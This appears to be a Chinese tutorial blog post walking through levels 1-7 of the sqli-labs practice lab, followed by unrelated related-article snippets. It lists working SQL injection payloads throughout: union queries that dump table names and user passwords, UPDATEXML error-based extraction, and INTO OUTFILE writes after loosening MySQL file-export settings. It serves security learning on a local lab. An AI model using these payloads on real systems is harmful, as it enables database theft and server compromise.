sqli靶场复现(1-7关)

news2024/11/15 4:10:03

1.sqli-labs第一关(字符型注入)

1.1判断是否存在sql注入

        1.提示你输入数字值的ID作为参数,我们输入?id=1

        2.在数据库可以查看到users下的对应内容

1.2联合注入

        1.首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

2.得到列数为3列,联合查询判断回显位,这里左边取-1是为了使左边的sql语句查询后为空,显示右边的内容:

爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。%27是英文的单引号释符 --+

4.查询数据库名:

http://127.0.0.1/sqli/Less-1/?id=-1%27%20union%20select%202,3,database()--+

5.得到数据库名:security,继续爆表:

爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。

group_concat 可以将所有的tables 提取出来,information_schema是mysql特有的库,存储各种数据库的信息。

http://127.0.0.1/sqli/Less-1/?id=-1%27%20union%20select%202,3,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

6.将 security 换成users表名,去爆破里面的内容。

爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

http://127.0.0.1/sqli/Less-1/?id=-1%27%20union%20select%202,3,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27--+

7.通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容

2.sqli-labs(整数型注入)

当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。

在php文件可以看到是整数型注入

其余步骤和第一关差不多

?id=1' order by 1,2,3,4--+
?id=1' order by 1,2,3--+
?id=-1'union select 1,2,3--+
?id=-1' union select 1,2,database()--+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1' union select 1,2,group_concat(username,id,password) from users--+

3.sqli-labs第三

1.当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

 看报错,发现并没有完全闭合,那就加个')'使其闭合,再使用'--+'注释掉后面内容

2.以下的步骤和less-1较为相似,在 ’ 后面加 ) 即可
原理相似,先对数据库进行查询

?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

4.sqli-labs第四

1.先尝试让它报错查看原因,单引号没用双引号可以

2.对报错信息进行分析,发现代码当中对 id 参数进行了 “” 和 () 的包装。所以我们再用这样的代码来进行注入: ?id=1”) –-+

3.步骤跟上述相似

5.sqli-labs第五(报错注入)

1.先尝试输入发现输入数字或者注释都没变化,加上单引号后悔出现报错,但是还是没有注入点

页面显示数据库的报错信息,确定注入点为单引号字符型

查看源码发现,就考虑使用报错注入

 2.判断报错报错函数是否可用

3.l利用UPDATEXML函数报错注入

语法:UPDATEXML(XML_document, XPath_string,new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串),Xpath语法

第三个参数:new_value,string格式,替换查找到的符合条件的数据

4.爆库名 

?id=1' and updatexml(1,concat(1,database()),1)--+
  1. ?id=1:这部分通常是一个URL参数,原始查询可能类似于SELECT * FROM some_table WHERE id = ?id。攻击者试图通过修改这个参数来注入恶意SQL代码。

  2. ' and:单引号(')用于闭合原始SQL语句中的字符串字面量(如果原始查询是基于字符串比较的),and用于添加额外的条件到WHERE子句中。

  3. updatexml(1,concat(1,database()),1):这是攻击的核心部分。UPDATEXML()函数尝试修改一个XML文档,但在这里它被用于触发一个错误,因为第二个参数(XPath表达式)不是一个有效的XPath表达式。concat(1,database())将数字1和当前数据库的名称连接起来,形成一个字符串,这个字符串随后被用作XPath表达式的一部分。由于这个表达式通常是无效的(因为它以数字开头),UPDATEXML()函数将返回一个错误,并且这个错误消息可能会包含数据库名称。

  4. --+:这是SQL注释的开始。--是SQL中的注释标记,后面跟一个空格(在这个例子中是+后面的空格,但+本身在这里是多余的,可能是为了绕过某些简单的输入过滤),它告诉数据库忽略该行剩余的所有内容。这确保了原始SQL语句的剩余部分(如果有的话)不会被执行,从而避免了语法错误。

得到security库名

5.爆表名

?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),1)--+

6.爆列名

?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name ='users')),1)--+

这里我不加上库名就匹配不上因此我加上了库名成功拿到列名

7.爆字段内容

?id=1' and updatexml(1,concat(1,(select username from users limit 1,1),0,(select password from users limit 1,1)),1)--+

http://127.0.0.1/sqli/Less-5/?id=1%27%20and%20updatexml(1,concat(1,(select%20username%20from%20users%20limit%202,1),0,(select%20password%20from%20users%20limit%202,1)),1)--+

这里的limit 1,1中第一个1是users、password中记录的顺序,从0开始算,第二个1代表回显一条数据记录

6.sqli-labs第六(报错注入)

1.输入整数或者单引号看界面显示发现根第五关差不多情况,并且输入?id=1'也没有显示就去查看源码,发现要用双引号

2.判断报错函数是否可用

?id=01" and updatexml(1,0x7e,3) -- a

3.其余跟第五关差不多,单引号换成双引号即可

?id=1" and updatexml(1,concat(1,(select username from users limit 1,1),0,(select password from users limit 1,1)),1)--+

7.sqli-labs第七

1.尝试用单引号发现报错信息,确定要使用")),根据题目显示知道这是个outfile

2.采用outfile的方式进行注入

SELECT column1 FROM table_name INTO OUTFILE 'file_path'
OUTFILE命令可以将查询结果导出为文本文件,CSV文件等多种格式。
注意:使用这个功能需要提前开启权限。你可以前往MySQL的源文件目录中,
           打开my.ini配置文件,并修改其中的`secure_file_priv='D://'`
           参数设置为你的安全目录。(请设置为C盘以外的磁盘,避免系统权限问题。)
           修改完成并重启后在MySQL命令行中输入`show variables like '%secure%';`查看是否设置成功。

?id=1')) union select 1,2,group_concat(table_name )from information_schema.tables where table_schema=database()   into outfile 'D:/phpstudy_pro/WWW/sqli/Less-7/1.txt' --+

这里出现了错误,百度后发现是数据库没有导出的权限

注释:

1.secure_file_priv为NULL时,不允许导入或导出。
2.secure_file_priv为/tmp时,只能在/tmp目录中执行导入导出。
3.secure_file_priv没有值时,不限制在任意目录的导入导出。

3.打开数据库文件夹--------找到下目录下的my.ini ---------打开它,

在里面写入下面这句话--------并保存

secure_file_priv=""

重启数据库

然后再打开数据库命令行输入show variables like '%secure%';

4.在重新输入导出命令

?id=1')) union select 1,2,group_concat(table_name )from information_schema.tables where table_schema=database()   into outfile 'D:/phpstudy_pro/WWW/sqli/Less-7/1.txt' --+

这里虽然显示有错误但是已经导出到1.txt中

至此漏洞利用成功

8.sqli-labs第八

9.sqli-labs第九

10.sqli-labs第十

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1982358.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C语言 | Leetcode C语言题解之第319题灯泡开关

题目: 题解: int bulbSwitch(int n) {return sqrt(n 0.5); }

Imatest测试gamma时,不跳出文件保存页面

1.问题背景: 用工具测试灰阶卡gamma时,点击计算后,保存文件的这个页面跳不出来。 2.问题排查: 根据imatest的使用教程检查步骤设置,发现这个红框地方被勾选中: 给它勾掉,然后拉bar选择“20 p…

如何确保精益转型的成果得到长期保持?

近年来,企业纷纷踏上精益转型之路,以求通过优化流程、提升效率、增强竞争力,实现可持续发展。然而,转型易,守成难。如何在精益转型后,确保这些宝贵的成果能够长期保持并持续增值,成为众多企业关…

Python数值计算(20)——自然三次样条曲线

前面介绍到紧固三次样条曲线,这次介绍一下自然三次样条曲线。 1. 数学知识 这个在前面已经做过介绍,这里再次重复说明一遍,它对我们算法实现具有很大的帮助: 同样的,就是各分段起点的函数值,通过上述方程…

Goland Debug大全

记录goland debug过程中遇到的所有问题,有一些是其他博主的总结 1. Debug模式功能 2. 去掉GoLand中的所有断点 调试时点击下图箭标所指的按钮 选中需要删除的断点,点击左上角的减号,然后保存

Java中使用OpenCV生成灰度图

一、下载OpenCV、 下载链接:Releases - OpenCV 下载到指定目录后双击即可安装(正常下载过程)。 二、查看文件目录 1、找到opencv-4100.jar 找到opencv-4100.jar,这个是我们需要加载的包。 opencv-460.jar是给java操作openvc的程序…

Java所需要的环境以及jdk安装

jvm和跨平台 jvm(java虚拟机):java运行程序的假想计算机,主要用来运行java程序的 跨平台:java代码可以在不同的操作系统上运行(一次编写,到处运行) 跨:跨越 平台:操作系统 -> windows linux mac os 关系:java程序想要在不同的操作系统上运行,实现跨平台,就需要安装不同版本…

C# Unity 面向对象补全计划 七大原则 之 开闭原则(OCP) 难度:☆ 总结:已经写好的就别动它了,多用继承

本文仅作学习笔记与交流,不作任何商业用途,作者能力有限,如有不足还请斧正 本系列作为七大原则和设计模式的进阶知识,看不懂没关系 请看专栏:http://t.csdnimg.cn/mIitr,查漏补缺 1.开闭原则(OC…

【Python】成功处理`load_boston` has been removed from scikit-learn since version 1.2.

【Python】成功处理load_boston has been removed from scikit-learn since version 1.2. 下滑即可查看博客内容 🌈 欢迎莅临我的个人主页 👈这里是我静心耕耘深度学习领域、真诚分享知识与智慧的小天地!🎇 🎓 博主…

文件夹提示无法访问:深入解析与高效恢复策略

在数字化时代,文件夹作为我们存储、整理和保护重要数据的关键容器,其稳定性和可访问性对于个人工作、学习乃至企业运营都至关重要。然而,当您试图访问某个文件夹时,却遭遇“无法访问”的提示,这无疑会给您带来不小的困…

浅谈线程组插件之jp@gc - Stepping Thread Group

浅谈线程组插件之jpgc - Stepping Thread Group jpgc - Stepping Thread Group 是一个高级线程组插件,专为Apache JMeter设计。相较于JMeter自带的基本线程组,此插件提供了更灵活、更精细的用户模拟方式,特别适合于模拟真实用户逐步增加的场…

开关电源之电压的影响因素和指标

开关电源并不是一个简单的小盒子,它相当于有源器件的心脏,不断地为元件提供能量。电源质量的好坏直接影响到元器件的性能。开关电源的设计、制造和质量管理需要精密的电子仪器来模拟电源的实际工作特性(即各种规格),经…

5_现有网络模型的使用

教程:现有网络模型的使用及修改_哔哩哔哩_bilibili 官方网址:https://pytorch.org/vision/stable/models.html#classification 初识网络模型 pytorch为我们提供了许多已经构造好的网络模型,我们只要将它们加载进来,就可以直接使…

【CONDA】库冲突解决办法

如今,使用PYTHON作为开发语言时,或多或少都会使用到conda。安装Annaconda时一般都会选择在启动终端时进入conda的base环境。该操作,实际上是在~/.bashrc中添加如下脚本: # >>> conda initialize >>> # !! Cont…

python:YOLO格式数据集图片和标注信息查看器

作者:CSDN _养乐多_ 本文将介绍如何实现一个可视化图片和标签信息的查看器,代码使用python实现。点击下一张和上一张可以切换图片。 文章目录 一、脚本界面二、完整代码 一、脚本界面 界面如下图所示, 二、完整代码 使用代码时&#xff0…

无线WiFi破解原理(超详细)

大家应该都有过这样的经历,就是感觉自己家的无线网怎么感觉好像变慢了,"是不是有人蹭我家网?""还有的时候咱们出门也想试图蹭一下别人家的网",这里"蹭网"的前提是要破解对方的"无线密码"…

SQL注入复现1-18关

一、联合查询(1-4关) 首先打开第一关查看源代码,他的闭合方式为 找到闭合方式后,我们就可以使用order by来确定列数 我们可以看到使用order by 4--回车时报错,使用order by 3--时显示,所以我们就得到他得列…

微信丨QQ丨TIM防撤回工具

适用于 Windows 下 PC 版微信/QQ/TIM的防撤回补丁。支持最新版微信/QQ/TIM,其中微信能够选择安装多开功能。微信防撤回信息! 「防撤回」来自UC网盘分享https://drive.uc.cn/s/95f9aabbc9684

2024年起重机司机(限桥式起重机)证模拟考试题库及起重机司机(限桥式起重机)理论考试试题

题库来源:安全生产模拟考试一点通公众号小程序 2024年起重机司机(限桥式起重机)证模拟考试题库及起重机司机(限桥式起重机)理论考试试题是由安全生产模拟考试一点通提供,起重机司机(限桥式起重机)证模拟考试题库是根据起重机司机(限桥式起重机)最新版教…

elasticsearch教程

1. 单点部署(rpm): #提前关闭firewalld,否则无法组建集群 #1. 下载ES rpm包 ]# https://www.elastic.co/cn/downloads #2. 安装es ]# rpm -ivh elasticsearch-7.17.5-x86_64.rpm #3. 调整内核参数(太低的话es会启动报错) echo "vm.max_map_count655360 fs.file-max 655…